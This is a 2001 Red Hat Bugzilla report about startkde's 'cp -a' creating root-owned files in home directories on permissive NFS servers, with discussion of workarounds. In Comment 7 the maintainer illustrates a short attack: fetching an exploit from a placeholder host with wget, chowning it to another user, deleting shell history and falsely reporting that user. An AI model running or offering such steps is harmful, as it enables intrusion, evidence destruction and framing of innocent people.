Bug 40711 - /usr/bin/startkde creates files that belong to root
Summary: /usr/bin/startkde creates files that belong to root
Alias: None
Product: Red Hat Linux
Classification: Retired
Component: kdebase (Show other bugs)
(Show other bugs)
Version: 7.1
Hardware: All Linux
Target Milestone: ---
Assignee: Bernhard Rosenkraenzer
QA Contact: Aaron Brown
Depends On:
TreeView+ depends on / blocked
Reported: 2001-05-15 14:44 UTC by Dimitri Papadopoulos
Modified: 2007-04-18 16:33 UTC (History)
0 users

Fixed In Version:
Doc Type: Bug Fix
Doc Text:
Story Points: ---
Clone Of:
Last Closed: 2001-05-16 14:41:53 UTC
Type: ---
Regression: ---
Mount Type: ---
Documentation: ---
Verified Versions:
Category: ---
oVirt Team: ---
RHEL 7.3 requirements from Atomic Host:
Cloudforms Team: ---

Attachments (Terms of Use)

Description Dimitri Papadopoulos 2001-05-15 14:44:41 UTC
From Bugzilla Helper:
User-Agent: Mozilla/4.77 [en] (X11; U; SunOS 5.8 sun4u)

Description of problem:

My account lives on a Silicon Graphics NFS server. Default kernel setup on
IRIX lets you change the owner of a file as long as you are the owner. It
really does :
	$ whoami
	$ touch /home/papadopo/foo
	$ ls -l  /home/papadopo/foo
	-rw-r--r--    1 papadopo tdi            0 May 15 16:29 /home/papadopo/foo
	$ chown root:root /home/papadopo/foo
	$ -rw-r--r--    1 root     sys            0 May 15 16:29
	$ chown papadopo /home/papadopo/foo
	/home/papadopo/foo - Operation not permitted

Yes, I know, this is insane. But it's out there and it's a Solaris option
as well (but not the default one). It's probably an option for other NFS
sevrers as well.

Now /usr/bin/startkde contains these lines:
	# create necessary directories/files
	if [ ! -d $HOME/Desktop -a -d /etc/skel/Desktop ]; then
	  cp -aR /etc/skel/Desktop $HOME
	if [ ! -d $HOME/.kde -a -d /etc/skel/.kde ]; then
	  cp -aR /etc/skel/.kde $HOME

The effect of -a is that file owners are preserved when possible. It would
be nice to use another option than -a so that the owner of the copied files
is the owner of the account. Maybe just `cp -pR' followed by 'chmod' or
something like that.

How reproducible:

Steps to Reproduce:
1. Create an account on an IRIX NFS server
2. Use this account to run KDE from Red Hat Linux 7.1 (using script
3. Have a look at the permissions of $HOME/Desktop

Actual Results:  $HOME/Desktop and the files in it belong to root:sys

Expected Results:  $HOME/Desktop and the files in it should belong to the
owner of the account

Additional info:

Of course we'll modify the default kernel option of our IRIX NFS servers.
But I thought I'd let you know about this issue nevertheless.

Comment 1 Steve Coile 2001-05-16 13:29:43 UTC
I also have seen this behavior.  This is a considerable problem if one does not
have root access (to the NFS server) to change the ownerships.

Note also that KDE *WILL NOT START* if $HOME/.kde and its contents are owned by
root because dcopserver cannot create files in the directory.

Comment 2 Steve Coile 2001-05-16 13:34:22 UTC
Oh, forgot to mention that once the root-owned files are created, users cannot
alter or remove them because the permissions do not allow modification and the
directories in which they exist ($HOME/.kde and $HOME/Desktop) are owned by
root.  And, of course, the users cannot remove the directories because they
aren't empty.  So once the directories and files are put there, users *MUST*
seek the assistance of systems administration to resolve the problem.

Bad.  Very bad.  =(

Comment 3 Steve Coile 2001-05-16 14:01:55 UTC
Removing the "-a" flag from the "cp" commands in /usr/bin/startkde appears to
work fine.  IMHO, this is also preferable, since "-a" forces "cp" to ignore the
user's umask.  I really don't see a good reason for "-a".  If there *IS* a good
reason, perhaps "tar" should be used instead of "cp":

	tar cfp -C /etc/skel - Desktop | tar xfp -C $HOME -
	tar cfp -C /etc/skel - .kde | tar xfp -C $HOME -

"tar" does not appear to exhibit the same ownership problem.

Note that "cp -a" is used to copy ".kderc", and should be addressed, also.

Comment 4 Dimitri Papadopoulos 2001-05-16 14:41:48 UTC
Removing the "-a" flag is a good idea but relying on the user's default umask is
probably not a good idea because the KDE files should be private event though
umask does not enforce that. I'd say copy the files without "-a" but then use
chmod after copying the files. The tar solution sounds good too.

Comment 5 Bernhard Rosenkraenzer 2001-05-22 17:54:41 UTC
The correct fix is to fix up the NFS server - allowing users to create files 
as root is ultimately broken.
tar workaround added in 2.2-0.alpha2.2

Comment 6 Dimitri Papadopoulos 2001-05-23 06:51:39 UTC
Allowing users to create root files is not that broken because it is not a
issue (except that users may be tempted to run a program they know nothing
about on the basis that it belongs to root) and it is the default behaviour on
Unix systems. Anyway the fact is that this behaviour does exist out there and I
appreciate your working around it.
That said, our sysadmin did change our NFS servers so that users cannot chown
to accounts and groups they don't belong to.

Comment 7 Bernhard Rosenkraenzer 2001-05-23 06:59:49 UTC
It is quite broken.

wget http://evil.crackers.com/exploits/l33t-hax0r-script /tmp/exploit
chown someoneidontlike /tmp/exploit
rm ~/.bash_history
mail root <<EOF
Hi, looks like someone is trying to crack the system (/tmp/exploit)

Note You need to log in before you can comment on or make changes to this bug.